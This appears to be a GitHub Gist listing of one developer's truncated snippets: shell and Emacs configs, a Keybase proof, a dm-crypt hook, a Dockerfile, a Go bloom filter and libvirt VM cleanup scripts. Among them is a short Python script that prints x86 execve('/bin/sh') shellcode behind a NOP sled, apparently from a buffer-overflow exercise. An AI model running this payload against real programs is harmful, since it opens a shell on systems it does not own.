Skip to content

Instantly share code, notes, and snippets.

autoload -U compinit promptinit colors
colors
compinit
promptinit
bindkey -e
setopt HIST_IGNORE_ALL_DUPS
setopt HIST_IGNORE_SPACE
setopt INC_APPEND_HISTORY
@nicot
nicot / helm-fzf.el
Last active August 11, 2016 14:25 — forked from bling/helm-fzf.el
(defvar helm-fzf-source
(helm-build-async-source "fzf"
:candidates-process 'helm-fzf--do-candidate-process
:nohighlight t
:requires-pattern 2
:candidate-number-limit 9999))
(defun helm-fzf--do-candidate-process ()
(let* ((cmd-args `("fzf" "-x" "-f" ,helm-pattern))
(proc (apply #'start-file-process "helm-fzf" nil cmd-args)))
#!/usr/bin/python
sc = \
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43" +\
"\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5" +\
"\xff\xff\xff/bin/shxAAAABBBB"
print "\x90"*512+sc
# breakpoint 0xbffffef4

Keybase proof

I hereby claim:

  • I am nicot on github.
  • I am nicot (https://keybase.io/nicot) on keybase.
  • I have a public key whose fingerprint is 1895 8389 8477 49B6 71F6 C134 6D2C 03FB 1726 C9D5

To claim this, I am signing this object:

#!/usr/bin/ash
run_hook() {
/sbin/modprobe -a -q dm-crypt >/dev/null 2>&1
if [ -e "/sys/class/misc/device-mapper" ]; then
if [ ! -e "/dev/mapper/control" ]; then
/bin/mknod "/dev/mapper/control" c $(cat /sys/class/misc/device-mapper/dev | sed 's|:| |')
fi
[ "${quiet}" = "y" ] && CSQUIET=">/dev/null"
@nicot
nicot / Dockerfile
Created November 3, 2014 23:45
haproxy dockerfile
FROM debian:sid
MAINTAINER Nico Tonozzi <dominic.tonozzi@gmail.com>
RUN apt-get update && apt-get install --no-install-recommends -y haproxy rsyslog
ADD haproxy.cfg /etc/haproxy/haproxy.cfg
EXPOSE 22 80 6667
CMD /etc/init.d/rsyslog start && /etc/init.d/haproxy start && tail -F /var/log/haproxy.log
@nicot
nicot / bloom.go
Created August 7, 2014 20:06
A little bloom filter
package main
import (
"fmt"
)
const offset uint64 = 14695981039346656037
const prime uint64 = 1099511628211
const k = 5
for i in `virsh list --all | awk '{print $2}'`; do virsh destroy $i; virsh undefine $i; done
@nicot
nicot / cleanup
Last active August 29, 2015 14:03
Destroy old VM's
#!/usr/bin/env ruby
# destroy VM's that are older than 6 hours
def ex(cmd)
`#{cmd}`
end
output = ex('virsh list --all').split("\n").drop(2)
Run docker on Chromebook. More stable and neat than crouton:
Step 1: Enable Developer mode
Step 2:
Ctrl+Alt+t
shell
sudo su -
dev_install
Step 3: